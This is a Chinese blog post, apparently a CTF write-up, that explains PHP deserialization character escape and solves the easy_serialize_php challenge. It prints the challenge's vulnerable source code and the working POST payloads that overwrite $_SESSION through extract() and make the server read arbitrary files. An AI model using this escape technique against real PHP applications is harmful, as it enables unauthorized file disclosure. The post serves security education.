前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化字符逃逸

PHP反序列化字符逃逸

作者头像
ly0n
发布2020-11-04 10:34:49
5600
发布2020-11-04 10:34:49
举报
文章被收录于专栏:ly0n

php反序列化字符逃逸

特性一

PHP在反序列化时,对象中不存在的属性也会进行序列化

代码语言:javascript
复制
<?php
class Test{
    public $test;
}
$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>

得到的结果是如图所示

可以看到我们的test1属性是不存在的!但事实上并不影响我们进行序列化操作。

特性二

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,,以 } 作为结尾(字符串除外),并根据长度来判断内容。

我们可以将序列化后的代码作为字符串赋值给给一个变量,然后得到结果。

源码

代码语言:javascript
复制
<?php

$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>

返回值

代码语言:javascript
复制
["__PHP_Incomplete_Class_Name"]=>
  string(4) "Test"
  ["test"]=>
  string(4) "test"
  ["test1"]=>
  string(4) "test"
}

一般的我们会认为,只要增加或除去字符串中的任意一个字符都会导致反序列化的失败。但事实并非如此,如果将源码的$s给其更改为

代码语言:javascript
复制
'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}i:1;s:5:"aaaaa";';

得到的返回值没发生变化。说明反序列化的过程是有一定的识别范围的,在这个范围之外的字符都会被忽略,不影响夫序列化的正常进行。

但是如果我们修改它的长度,就会发生报错。

代码语言:javascript
复制
<?php

$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:4:"test1";s:4:"test";}i:1;s:5:"aaaaa";';
var_dump(unserialize($s));
?>

返回报错!!

特性三

例子源码(选自安洵杯easy_serialize_php)

代码语言:javascript
复制
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

结果为

代码语言:javascript
复制
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,将包含flag的字符替换为空,那么以上序列化字符串过滤结果为

代码语言:javascript
复制
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

然后我们可以想一下,如果我们将这字符串反序列化之后会得到什么呢?

代码语言:javascript
复制
array(3) {
  ["user"]=>
  string(24) "";s:8:"function";s:59:"a"
  ["img"]=>
  string(20) "ZDBnM19mMWFnLnBocA=="
  ["dd"]=>
  string(1) "a"
}

看的不明显的话,我将原来的也反序列化一下

代码语言:javascript
复制
array(3) {
  ["user"]=>
  string(24) "flagflagflagflagflagflag"
  ["function"]=>
  string(59) "a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}"
  ["img"]=>
  string(20) "L2QwZzNfZmxsbGxsbGFn"
}

这样一来就很明显了。我们来分析下,关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看是否满足序列化的规则,也即读取 s:8:”function”;s:59:”a” , 读取这24个字符后以;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果如上所示!!

easy_serialize_php

题目分析

打开题目得到源码,不长

代码语言:javascript
复制
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

审计的时候看到了一个熟悉的phpinfo所以就将phpinfo传给f得到回显。发现了这个

可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它.如果直f=show_image&img_path=d0g3_f1ag.php 的话会被sha1放入$_SESSION

而这里只有b64解码,又看到了extract,想到可以变量覆盖,使我们有机会直接修改_SESSION

再来回头看刚刚session数组。

刚刚过滤掉了flag后写成session数组的形式为

代码语言:javascript
复制
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现sessions数组的键值img对应发生了改变。原来我们是无法控制img的值。但是通过这种方法,就可以间接控制到img的值。由于过滤掉了flag,所以就向后读取,读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码。读取d0g3_f1ag.php的值,而识别完成后最后面的 s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;} 被忽略掉了,不影响正常的反序列化过程!

题目详解

经过上面的理解,下面就开始构造payload

首先payload get : f=show_image

post: _SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

回显得到

代码语言:javascript
复制
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

然后将base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn

然后构造payload get:f=show_image

post:

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

得到flag!!


本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-05-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • php反序列化字符逃逸
    • 特性一
      • 特性二
        • 特性三
        • easy_serialize_php
          • 题目分析
            • 题目详解
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档